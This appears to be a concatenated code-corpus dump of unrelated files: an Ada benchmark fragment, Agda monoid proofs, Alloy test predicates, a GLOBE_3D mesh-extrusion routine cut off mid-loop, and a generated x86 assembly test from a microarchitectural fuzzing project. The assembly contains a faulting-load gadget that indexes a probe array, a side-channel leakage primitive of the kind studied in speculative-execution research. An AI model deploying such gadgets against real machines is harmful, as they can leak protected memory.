procedure Read (N : Integer; File_Name : String) is
package ASS_IO renames Ada.Streams.Stream_IO;
File : ASS_IO.File_Type;
Stream : ASS_IO.Stream_Access;
package Vector is new Ada.Containers.Vectors (Positive, Node_Type);
Storage_Pool : Vector.Vector;
begin
ASS_IO.Open (File, ASS_IO.In_File, File_Name);
Stream := ASS_IO.Stream (File);
while not ASS_IO.End_Of_File (File) loop
declare
X : Node_Type;
begin
Node_Type'Read (Stream, X);
Storage_Pool.Append (X);
end;
end loop;
ASS_IO.Close (File);
end Read;
procedure Reset (N : Integer; File_Name : String) is
procedure Free is new Ada.Unchecked_Deallocation (Skill_State, State_Type);
begin
Skill.Close (State);
Free (State);
end Reset;
end Benchmark_S_Graph_1;
|
agda/Algebra/Construct/Dyck.agda | oisdk/combinatorics-paper | 4 | 6353 | <reponame>oisdk/combinatorics-paper
{-# OPTIONS --cubical --safe #-}
module Algebra.Construct.Dyck where
open import Prelude
open import Algebra
open import Data.Nat using (_+_)
import Data.Nat.Properties as ℕ
open import Agda.Builtin.Nat using (_-_)
record Bal : Type₀ where
constructor _⟩⟨_
field
left : ℕ
right : ℕ
open Bal public
infix 4.5 _⟩-⟨_ _⟩⟨_ _+⟨_⟩+_ _+⟨⟩+_
_⟩-⟨_ : ℕ → ℕ → Bal
zero ⟩-⟨ m = zero ⟩⟨ m
suc n ⟩-⟨ zero = suc n ⟩⟨ zero
suc n ⟩-⟨ suc m = n ⟩-⟨ m
_+⟨_⟩+_ : ℕ → Bal → ℕ → Bal
x +⟨ z ⟩+ y = right z + x ⟩⟨ left z + y
_+⟨⟩+_ : Bal → Bal → Bal
x +⟨⟩+ y = left x +⟨ right x ⟩-⟨ left y ⟩+ right y
mempty : Bal
mempty = 0 ⟩⟨ 0
diff-zeroʳ : ∀ n → n ⟩-⟨ zero ≡ n ⟩⟨ zero
diff-zeroʳ zero = refl
diff-zeroʳ (suc n) = refl
invert : Bal → Bal
invert (x ⟩⟨ y) = y ⟩⟨ x
diff-inv : ∀ x y → invert (x ⟩-⟨ y) ≡ y ⟩-⟨ x
diff-inv zero zero = refl
diff-inv zero (suc y) = refl
diff-inv (suc x) zero = refl
diff-inv (suc x) (suc y) = diff-inv x y
open import Path.Reasoning
add-inv : ∀ x y → (x +⟨⟩+ y) ≡ invert (invert y +⟨⟩+ invert x)
add-inv (xl ⟩⟨ xr) (yl ⟩⟨ yr) = cong₂ _⟩⟨_ (cong (_+ xl) (cong left (diff-inv xr yl))) (cong (_+ yr) (cong right (diff-inv xr yl)))
0+⟨⟩ : ∀ x → mempty +⟨⟩+ x ≡ x
0+⟨⟩ (zero ⟩⟨ xr) i = zero ⟩⟨ xr
0+⟨⟩ (suc xl ⟩⟨ xr) i = suc (ℕ.+-idʳ xl i) ⟩⟨ xr
⟨⟩+0 : ∀ x → x +⟨⟩+ mempty ≡ x
⟨⟩+0 (xl ⟩⟨ zero ) i = xl ⟩⟨ zero
⟨⟩+0 (xl ⟩⟨ suc xr) i = xl ⟩⟨ suc (ℕ.+-idʳ xr i)
diff-sub : ∀ x y → left (x ⟩-⟨ y) ≡ x - y
diff-sub zero zero = refl
diff-sub zero (suc y) = refl
diff-sub (suc x) zero = refl
diff-sub (suc x) (suc y) = diff-sub x y
diff-subʳ : ∀ x y → right (x ⟩-⟨ y) ≡ y - x
diff-subʳ zero zero = refl
diff-subʳ zero (suc y) = refl
diff-subʳ (suc x) zero = refl
diff-subʳ (suc x) (suc y) = diff-subʳ x y
minus-plus : ∀ x y z → x - y - z ≡ x - (y + z)
minus-plus x zero z = refl
minus-plus zero (suc y) zero = refl
minus-plus zero (suc y) (suc z) = refl
minus-plus (suc x) (suc y) z = minus-plus x y z
lhs″ : ∀ zl xr yl yr → (zl - ((xr - yl) + yr)) + (yl - xr) ≡ ((zl - yr) + yl) - xr
lhs″ zl zero zero yr = refl
lhs″ zl zero (suc yl) yr = refl
lhs″ zl (suc xr) zero yr = ℕ.+-idʳ _ ; (cong (zl -_) (ℕ.+-comm (suc xr) yr) ; sym (minus-plus zl yr (suc xr))) ; sym (cong (_- suc xr) (ℕ.+-idʳ (zl - yr)))
lhs″ zero (suc xr) (suc yl) zero = lhs″ zero xr yl zero
lhs″ zero (suc xr) (suc yl) (suc yr) = lhs″ zero xr yl (suc yr)
lhs″ (suc zl) (suc xr) (suc yl) zero = lhs″ (suc zl) xr yl zero ; cong (_- xr) (sym (ℕ.+-suc zl yl))
lhs″ (suc zl) (suc xr) (suc yl) (suc yr) = cong (_+ (yl - xr)) (cong (suc zl -_) (ℕ.+-suc (xr - yl) yr)) ; lhs″ zl (suc xr) (suc yl) yr
rhs‴ : ∀ x y z → x + y - z ≡ x - (z - y) + (y - z)
rhs‴ zero zero zero = refl
rhs‴ zero zero (suc z) = refl
rhs‴ zero (suc y) zero = refl
rhs‴ (suc x) zero zero = refl
rhs‴ (suc x) (suc y) zero = refl
rhs‴ zero (suc y) (suc z) = rhs‴ zero y z
rhs‴ (suc x) zero (suc z) = cong (_- z) (ℕ.+-idʳ x) ; sym (ℕ.+-idʳ (x - z))
rhs‴ (suc x) (suc y) (suc z) = cong (_- z) (ℕ.+-suc x y) ; rhs‴ (suc x) y z
rhs″ : ∀ xr yl yr zl → ((xr - yl) + yr) - zl ≡ xr - (zl - yr + yl) + (yr - zl)
rhs″ (suc xr) (suc yl) yr zl = rhs″ xr yl yr zl ; cong (λ zy → suc xr - zy + (yr - zl)) (sym (ℕ.+-suc (zl - yr) yl))
rhs″ zero zero zero zero = refl
rhs″ zero zero zero (suc zl) = refl
rhs″ zero zero (suc yr) zero = refl
rhs″ zero zero (suc yr) (suc zl) = rhs″ zero zero yr zl
rhs″ zero (suc yl) zero zero = refl
rhs″ zero (suc yl) zero (suc zl) = refl
rhs″ zero (suc yl) (suc yr) zero = refl
rhs″ zero (suc yl) (suc yr) (suc zl) = rhs″ zero (suc yl) yr zl
rhs″ (suc xr) zero zero zero = refl
rhs″ (suc xr) zero (suc yr) zero = refl
rhs″ (suc xr) zero zero (suc zl) = cong (_- zl) (ℕ.+-idʳ xr) ; cong (xr -_) (sym (ℕ.+-idʳ zl)) ; sym (ℕ.+-idʳ (xr - (zl + zero)))
rhs″ (suc xr) zero (suc yr) (suc zl) = cong (_- zl) (ℕ.+-suc xr yr) ; rhs‴ (suc xr) yr zl ; sym (cong (λ zy → suc xr - zy + (yr - zl)) (ℕ.+-idʳ (zl - yr)))
⟨⟩-assoc : Associative _+⟨⟩+_
⟨⟩-assoc (xl ⟩⟨ xr ) (yl ⟩⟨ yr ) (zl ⟩⟨ zr) = cong₂ _⟩⟨_ lhs rhs
where
lhs′ : ∀ xr yl yr zl → right (left (xr ⟩-⟨ yl) + yr ⟩-⟨ zl) + right (xr ⟩-⟨ yl) ≡ right (xr ⟩-⟨ right (yr ⟩-⟨ zl) + yl)
lhs′ xr yl yr zl =
right (left (xr ⟩-⟨ yl) + yr ⟩-⟨ zl) + right (xr ⟩-⟨ yl) ≡⟨ cong₂ _+_ (diff-subʳ (left (xr ⟩-⟨ yl) + yr) zl) (diff-subʳ xr yl) ⟩
(zl - (left (xr ⟩-⟨ yl) + yr)) + (yl - xr) ≡⟨ cong (λ xy → (zl - (xy + yr)) + (yl - xr)) (diff-sub xr yl) ⟩
(zl - ((xr - yl) + yr)) + (yl - xr) ≡⟨ lhs″ zl xr yl yr ⟩
((zl - yr) + yl) - xr ≡˘⟨ cong (λ yz → (yz + yl) - xr) (diff-subʳ yr zl) ⟩
(right (yr ⟩-⟨ zl) + yl) - xr ≡˘⟨ diff-subʳ xr _ ⟩
right (xr ⟩-⟨ right (yr ⟩-⟨ zl) + yl) ∎
lhs : right (left (xr ⟩-⟨ yl) + yr ⟩-⟨ zl) + (right (xr ⟩-⟨ yl) + xl) ≡ right (xr ⟩-⟨ right (yr ⟩-⟨ zl) + yl) + xl
lhs = sym (ℕ.+-assoc _ (right (xr ⟩-⟨ yl)) xl) ; cong (_+ xl) (lhs′ xr yl yr zl)
rhs′ : ∀ xr yl yr zl → left (left (xr ⟩-⟨ yl) + yr ⟩-⟨ zl) ≡ left (xr ⟩-⟨ right (yr ⟩-⟨ zl) + yl) + left (yr ⟩-⟨ zl)
rhs′ xr yl yr zl =
left (left (xr ⟩-⟨ yl) + yr ⟩-⟨ zl) ≡⟨ diff-sub _ zl ⟩
left (xr ⟩-⟨ yl) + yr - zl ≡⟨ cong (_- zl) (cong (_+ yr) (diff-sub xr yl)) ⟩
(xr - yl) + yr - zl ≡⟨ rhs″ xr yl yr zl ⟩
(xr - ((zl - yr) + yl)) + (yr - zl) ≡˘⟨ cong (λ yz → (xr - (yz + yl)) + (yr - zl)) (diff-subʳ yr zl) ⟩
(xr - (right (yr ⟩-⟨ zl) + yl)) + (yr - zl) ≡˘⟨ cong₂ _+_ (diff-sub xr _) (diff-sub yr zl) ⟩
left (xr ⟩-⟨ right (yr ⟩-⟨ zl) + yl) + left (yr ⟩-⟨ zl) ∎
rhs : left (left (xr ⟩-⟨ yl) + yr ⟩-⟨ zl) + zr ≡ left (xr ⟩-⟨ right (yr ⟩-⟨ zl) + yl) + (left (yr ⟩-⟨ zl) + zr)
rhs = cong (_+ zr) (rhs′ xr yl yr zl) ; ℕ.+-assoc (left (xr ⟩-⟨ right (yr ⟩-⟨ zl) + yl)) (left (yr ⟩-⟨ zl)) zr
semigroupBal : Semigroup _
semigroupBal .Semigroup.𝑆 = Bal
semigroupBal .Semigroup._∙_ = _+⟨⟩+_
semigroupBal .Semigroup.assoc = ⟨⟩-assoc
monoidBal : Monoid _
Monoid.𝑆 monoidBal = Bal
Monoid._∙_ monoidBal = _+⟨⟩+_
Monoid.ε monoidBal = mempty
Monoid.assoc monoidBal = ⟨⟩-assoc
Monoid.ε∙ monoidBal = 0+⟨⟩
Monoid.∙ε monoidBal = ⟨⟩+0
|
experiments/test-suite/mutation-based/10/8/addr.als | kaiyuanw/AlloyFLCore | 1 | 1102 | pred test23 {
some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Name2: Listing {some disj Book0: Book {
no Address
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Name2
Book = Book0
entry = Book0->Name2
listed = Book0->Name2->Name0 + Book0->Name2->Name1
}}}
}
run test23 for 3 expect 0
pred test4 {
some disj Name0: Name {some disj Name0: Listing {some disj Book0: Book {
no Address
Name = Name0
Listing = Name0
Book = Book0
no entry
no listed
}}}
}
run test4 for 3 expect 1
pred test18 {
some disj Name0, Name1, Name2: Name {some disj Name0, Name1, Name2: Listing {
no Address
Name = Name0 + Name1 + Name2
Listing = Name0 + Name1 + Name2
no Book
no entry
no listed
}}
}
run test18 for 3 expect 1
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca_notsx.log_21829_1417.asm | ljhsiun2/medusa | 9 | 169467 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1cd29, %r14
nop
add %rsi, %rsi
mov $0x6162636465666768, %rdx
movq %rdx, %xmm0
vmovups %ymm0, (%r14)
nop
nop
nop
inc %r8
lea addresses_A_ht+0x729, %rdx
nop
nop
nop
nop
nop
inc %r15
mov (%rdx), %r8
nop
nop
nop
sub %r15, %r15
lea addresses_normal_ht+0x1ebc9, %rsi
lea addresses_A_ht+0x1b6b9, %rdi
nop
nop
nop
inc %r10
mov $76, %rcx
rep movsw
nop
nop
nop
xor $52947, %rsi
lea addresses_WT_ht+0x5b09, %rsi
lea addresses_D_ht+0x51e9, %rdi
sub $4466, %r10
mov $110, %rcx
rep movsw
add %r8, %r8
lea addresses_A_ht+0x11719, %r15
nop
nop
nop
nop
nop
dec %rsi
movups (%r15), %xmm4
vpextrq $0, %xmm4, %r10
nop
nop
nop
nop
inc %r8
lea addresses_normal_ht+0x146e9, %rsi
lea addresses_D_ht+0x11d76, %rdi
nop
nop
xor $19749, %r14
mov $103, %rcx
rep movsb
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0x17789, %r8
nop
nop
and %rsi, %rsi
mov (%r8), %rdi
nop
nop
nop
nop
mfence
lea addresses_D_ht+0x15521, %r10
nop
nop
nop
and $60745, %rdi
movw $0x6162, (%r10)
nop
nop
add %r15, %r15
lea addresses_WT_ht+0x1b449, %rsi
lea addresses_WC_ht+0x34b8, %rdi
nop
and %rdx, %rdx
mov $108, %rcx
rep movsq
nop
nop
nop
nop
xor %rdx, %rdx
lea addresses_normal_ht+0x11f79, %rsi
nop
nop
nop
sub $28666, %rdi
mov (%rsi), %cx
nop
nop
nop
nop
sub $8653, %rdi
lea addresses_normal_ht+0x6eb9, %rsi
lea addresses_A_ht+0x12271, %rdi
nop
and $50268, %r15
mov $57, %rcx
rep movsw
nop
nop
nop
xor $64656, %r14
lea addresses_WT_ht+0x8ac9, %r8
nop
nop
nop
and %r15, %r15
mov $0x6162636465666768, %rcx
movq %rcx, %xmm1
movups %xmm1, (%r8)
nop
and $22749, %rdi
lea addresses_UC_ht+0xc449, %rcx
nop
nop
nop
nop
nop
cmp %r10, %r10
movb (%rcx), %r8b
nop
nop
nop
sub %rsi, %rsi
lea addresses_D_ht+0x1770d, %rsi
lea addresses_WC_ht+0x16bb2, %rdi
nop
nop
lfence
mov $65, %rcx
rep movsb
nop
nop
nop
nop
and $29832, %rdi
lea addresses_WT_ht+0x5c51, %rsi
lea addresses_WC_ht+0x1e9c9, %rdi
inc %r14
mov $107, %rcx
rep movsq
add %r8, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r9
push %rcx
push %rdx
push %rsi
// Store
mov $0xfc9, %r10
nop
nop
sub $52570, %r13
movw $0x5152, (%r10)
nop
nop
nop
nop
nop
cmp $3717, %r10
// Store
lea addresses_PSE+0x51c9, %r9
nop
nop
nop
add %r10, %r10
mov $0x5152535455565758, %rsi
movq %rsi, (%r9)
nop
cmp %rcx, %rcx
// Faulty Load
mov $0x963210000000bc9, %r13
nop
nop
nop
and $45565, %rcx
mov (%r13), %esi
lea oracles, %rcx
and $0xff, %rsi
shlq $12, %rsi
mov (%rcx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rcx
pop %r9
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_P'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 6, 'same': True, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Sources/Globe_3d/globe_3d-random_extrusions.adb | ForYouEyesOnly/Space-Convoy | 1 | 5080 | <reponame>ForYouEyesOnly/Space-Convoy
pragma Warnings (Off);
pragma Style_Checks (Off);
-- Algorithm to generate a Sci - Fi - style extruded surface
-- Copyright (c) <NAME> 2006
-- CH - 8810 Horgen
-- SWITZERLAND
-- Permission granted to use the herein contained algorithm for any purpose,
-- provided this copyright note remains attached and unmodified.
--
-- Change log:
-- xx - May - 2006 : - !! split a quad into triangles if not flat
-- - !! identify / remove degenerate faces, e.g. on a sphere
-- (triangle ok, less - > erase!)
-- 26 - May - 2006 : optimized search for duplicate points
-- 24 - May - 2006 : added explicit bound checks
-- 14 - May - 2006 : created
with GLOBE_3D.Math;
with Ada.Numerics.Float_Random; use Ada.Numerics.Float_Random;
package body GLOBE_3D.Random_extrusions is
seed : Generator;
procedure Extrude_on_rectangle (
T1, T2, T3, T4 : in Map_idx_pair; -- Texture edges, horizontal surface
V1, V2, V3, V4 : in Map_idx_pair; -- Texture edges, vertical surfaces
grid_1, grid_2 : in Positive;
T_ID, V_ID : in Image_ID; -- ID's of plane and vertical texture
max_u3 : in Real;
iterations : in Natural;
last_point : out Natural;
mesh : out Point_3D_array;
last_face : out Natural;
poly : out Face_array;
random_initiator : in Integer := 0 -- default 0 - > time - dependent seed
)
is
use GL, GLOBE_3D.Math;
po, fa : Natural := 0;
face_proto : Face_type; -- takes defaults values
-- grid : 0 | --- | --- | .. .| --- | --- | n + 2; we don't touch the main face's border
-- cell : 0 1 n n + 1
elevation : array (0 .. grid_1 + 1, 0 .. grid_2 + 1) of Real :=
(others => (others => 0.0)); -- elevation of the middle of a cell
-- Temporary data used to search faster existing points:
type Point_stack is array (1 .. 36) of Positive; -- 16 should be sufficient .. .
-- without redundancies : 16; with redundancies : 36
point_touching : array (elevation'Range (1), elevation'Range (2)) of Point_stack;
total_points_touching : array (elevation'Range (1), elevation'Range (2)) of Natural := (others => (others => 0));
procedure Register (e1n, e2n : Integer; P_idx : Positive) is
e1, e2 : Integer;
t : Natural;
begin
e1 := e1n mod (grid_1 + 2);
e2 := e2n mod (grid_2 + 2);
t := total_points_touching (e1, e2);
for i in reverse 1 .. t loop
if point_touching (e1, e2) (i)= P_idx then -- already in stack
return;
end if;
end loop;
total_points_touching (e1, e2) := t + 1;
-- if t + 1 > Point_Stack'Last then raise Constraint_Error; end if;
point_touching (e1, e2) (t + 1) := P_idx;
end Register;
procedure Do_Face (
P1, P2, P3, P4 : Point_3D;
tex : Map_idx_pair_4_array;
tex_ID : Image_ID;
cell1, cell2 : Natural
)
is
P : array (1 .. 4) of Point_3D;
vtx : GLOBE_3D.Natural_Index_array (1 .. 4);
pt_idx : Natural;
found : Boolean;
degen : Natural := 0;
last_degen_vtx : Positive;
procedure Register_proto is
begin
fa := fa + 1;
if fa > poly'Last then raise Constraint_Error; end if;
-- ^ useful if we disable range checks .. .
poly (fa) := face_proto;
end REgister_proto;
begin
Geometric_mapping (P1, P (1));
Geometric_mapping (P2, P (2));
Geometric_mapping (P3, P (3));
Geometric_mapping (P4, P (4));
for pt in P'Range loop
found := False;
-- Look in the stack of registered points:
for op in reverse 1 .. total_points_touching (cell1, cell2) loop
pt_idx := point_touching (cell1, cell2) (op);
if Almost_zero (Norm2 (P (pt) - mesh (pt_idx))) then -- exists already
vtx (pt) := pt_idx;
found := True;
end if;
end loop;
if not found then -- add a point when non existing
po := po + 1;
if po > mesh'Last then raise Constraint_Error; end if;
-- ^ useful if we disable range checks .. .
mesh (po) := P (pt);
vtx (pt) := po;
for i in - 1 .. 1 loop
for j in - 1 .. 1 loop
Register (cell1 + i, cell2 + j, po);
end loop;
end loop;
end if;
end loop;
face_proto.texture_edge_map := tex;
face_proto.texture := tex_ID;
-- Check degenerate faces
for i in 1 .. 4 loop
for j in i + 1 .. 4 loop
if vtx (i)=vtx (j) then
degen := degen + 1;
last_degen_vtx := j;
end if;
end loop;
end loop;
case degen is
when 0 => -- quadrilatere
-- !! check if flat, otherwise make 2 triangles!
face_proto.P := vtx;
Register_proto;
when 1 => -- triangle
vtx (last_degen_vtx) := 0;
face_proto.P := vtx;
Register_proto;
when others =>
return;
end case;
end Do_Face;
e : Real := 0.0;
sc_1 : constant Real := 1.0 / Real (grid_1 + 2);
sc_2 : constant Real := 1.0 / Real (grid_2 + 2);
p_1, p_2, l_1, l_2 : Positive;
xa, xb, ya, yb, en : Real;
width_factor : Float;
ta, tb : Map_idx_pair;
begin
face_proto.skin := coloured_texture;
face_proto.colour := (0.5, 0.5, 0.5);
face_proto.whole_texture := False;
if random_initiator /= 0 then
Reset (seed, random_initiator);
end if;
-- Generate elevation map by covering it with rectangle layers
for i in reverse 1 .. iterations loop
p_1 := 1 + Integer (Float (grid_1 - 2)*Random (seed) + 0.5);
p_2 := 1 + Integer (Float (grid_2 - 2)*Random (seed) + 0.5);
width_factor := Float (i)/Float (iterations);
-- ^ cover with decreasing widths
l_1 := Integer (Float (grid_1 - p_1 - 1)*Random (seed)*width_factor + 0.5);
l_2 := Integer (Float (grid_2 - p_2 - 1)*Random (seed)*width_factor + 0.5);
-- e := e + Real (Random (seed))*max_u3/Real (iterations);
-- ^ converges to a square of height max_u3 : - (
e := Real (Random (seed))*max_u3;
for r_1 in reverse 0 .. l_1 loop
for r_2 in reverse 0 .. l_2 loop
elevation (p_1 + r_1, p_2 + r_2) := e;
end loop;
end loop;
end loop;
-- Create the mesh
for e1 in reverse elevation'Range (1) loop
for e2 in reverse elevation'Range (2) loop
e := elevation (e1, e2);
xa := Real (e1)*sc_1;
xb := Real (e1 + 1)*sc_1;
ya := Real (e2)*sc_2;
yb := Real (e2 + 1)*sc_2;
ta.u := T1.u + xa * (T2.u - T1.u) + ya * (xa * (T3.u - T2.u) + (1.0 - xa) * (T4.u - T1.u));
ta.v := T1.v + xa * (T2.v - T1.v) + ya * (xa * (T3.v - T2.v) + (1.0 - xa) * (T4.v - T1.v));
tb.u := T1.u + xb * (T2.u - T1.u) + yb * (xb * (T3.u - T2.u) + (1.0 - xb) * (T4.u - T1.u));
tb.v := T1.v + xb * (T2.v - T1.v) + yb * (xb * (T3.v - T2.v) + (1.0 - xb) * (T4.v - T1.v));
-- The horizontal face
Do_Face (
(xa, ya, e), (xb, ya, e), (xb, yb, e), (xa, yb, e),
(ta, (tb.u, ta.v), tb, (ta.u, tb.v)),
T_ID,
e1, e2
);
--
-- Now the funny part : the vertical faces!
--
if iterations > 0 and -- < - possible to generate no extrusion at all!
e1 > 0 and e2 > 0 then
--
-- seen from above : _|_|_ yb
-- - > southern neighbour _|_|_ ya
-- |^|
--
en := elevation (e1, e2 - 1);
if Almost_zero (e - en) then
null; -- do nothing, there is no face to add
else
if e > en then -- neighbour has a lower elevation : face visible from south
ta.u := V1.u + xa * (V2.u - V1.u) + en * (xa * (V3.u - V2.u) + (1.0 - xa) * (V4.u - V1.u));
ta.v := V1.v + xa * (V2.v - V1.v) + en * (xa * (V3.v - V2.v) + (1.0 - xa) * (V4.v - V1.v));
tb.u := V1.u + xb * (V2.u - V1.u) + e * (xb * (V3.u - V2.u) + (1.0 - xb) * (V4.u - V1.u));
tb.v := V1.v + xb * (V2.v - V1.v) + e * (xb * (V3.v - V2.v) + (1.0 - xb) * (V4.v - V1.v));
Do_Face (
(xa, ya, en), (xb, ya, en), (xb, ya, e), (xa, ya, e),
(ta, (tb.u, ta.v), tb, (ta.u, tb.v)),
V_ID,
e1, e2
);
else -- neighbour has a higher elevation : face visible from north
ta.u := V2.u + xb * (V1.u - V2.u) + e * (xb * (V4.u - V1.u) + (1.0 - xb) * (V3.u - V2.u));
ta.v := V2.v + xb * (V1.v - V2.v) + e * (xb * (V4.v - V1.v) + (1.0 - xb) * (V3.v - V2.v));
tb.u := V2.u + xa * (V1.u - V2.u) + en * (xa * (V4.u - V1.u) + (1.0 - xa) * (V3.u - V2.u));
tb.v := V2.v + xa * (V1.v - V2.v) + en * (xa * (V4.v - V1.v) + (1.0 - xa) * (V3.v - V2.v));
Do_Face (
(xb, ya, e), (xa, ya, e), (xa, ya, en), (xb, ya, en),
(ta, (tb.u, ta.v), tb, (ta.u, tb.v)),
V_ID,
e1, e2
);
end if;
end if;
--
-- seen from above : _|_|_
-- - > western neighbour >_|_|_
-- | |
--
